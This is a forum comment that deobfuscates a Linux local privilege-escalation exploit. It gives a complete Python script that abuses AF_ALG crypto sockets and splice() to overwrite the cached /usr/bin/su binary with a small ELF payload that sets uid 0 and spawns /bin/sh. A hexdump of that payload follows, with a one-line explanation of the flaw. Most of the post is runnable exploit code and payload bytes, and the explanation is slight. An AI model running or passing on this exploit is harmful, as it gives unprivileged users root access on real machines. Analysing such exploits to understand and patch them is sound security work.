• lime!@feddit.nu
    link
    fedilink
    arrow-up
    29
    ·
    edit-2
    2 hours ago

    here’s my attempt at deobfuscating it:

    #!/usr/bin/env python3
    
    import os
    import zlib
    import socket as s
    
    
    def inject(file, offset, data):
        sock = s.socket(s.AF_ALG, s.SOCK_SEQPACKET)
        sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    
        sock.setsockopt(s.SOL_ALG, s.SO_DEBUG, bytes.fromhex("0800010000000010" + "0" * 64))
        sock.setsockopt(s.SOL_ALG, s.SO_DONTROUTE, None, optlen=4)
        conn, _ = sock.accept()
     
        conn.sendmsg(
            [b"AAAA" + data],
            [
                (s.SOL_ALG, s.MSG_OOB | s.MSG_PEEK, b"\x00\x00\x00\x00"),
                (s.SOL_ALG, s.MSG_PEEK, b"\x10\x00\x00\x00" + b"\x00" * 16),
                (s.SOL_ALG, s.MSG_DONTROUTE, b"\x08\x00\x00\x00"),
            ],
            s.MSG_MORE,
        )
        r, w = os.pipe()
        os.splice(file, w, offset + 4, offset_src=0)
        os.splice(r, conn.fileno(), offset + 4)
        try:
            conn.recv(8 + offset)
        except:
            pass
    
    
    binary = os.open("/usr/bin/su", os.O_RDONLY)
    offset = 0
    payload = zlib.decompress(
        bytes.fromhex(
            "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301"
            "d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b96"
            "75c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
        )
    )
    
    while offset < len(payload):
        inject(binary, offset, payload[offset : offset + 4])
        offset += 4
    
    os.system("su")
    

    as far as i understand the writeup, the weakness is in the splice() function, because it silently crosses an auth boundary. the payload looks like this:

    00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............ # ELF x86-64 v1, executable
    00000010: 0200 3e00 0100 0000 7800 4000 0000 0000  ..>.....x.@.....
    00000020: 4000 0000 0000 0000 0000 0000 0000 0000  @...............
    00000030: 0000 0000 4000 3800 0100 0000 0000 0000  ....@.8......... # contains 1 56-bit program header
    00000040: 0100 0000 0500 0000 0000 0000 0000 0000  ................ # program header starts
    00000050: 0000 4000 0000 0000 0000 4000 0000 0000  ..@.......@.....
    00000060: 9e00 0000 0000 0000 9e00 0000 0000 0000  ................ # flags r-x
    00000070: 0010 0000 0000 0000 31c0 31ff b069 0f05  ........1.1..i.. # program starts
    00000080: 488d 3d0f 0000 0031 f66a 3b58 990f 0531  H.=....1.j;X...1
    00000090: ff6a 3c58 0f05 2f62 696e 2f73 6800 0000  .j<X../bin/sh...
    

    it’s an ELF header that replaces the one on the cached version of the binary (su in this case).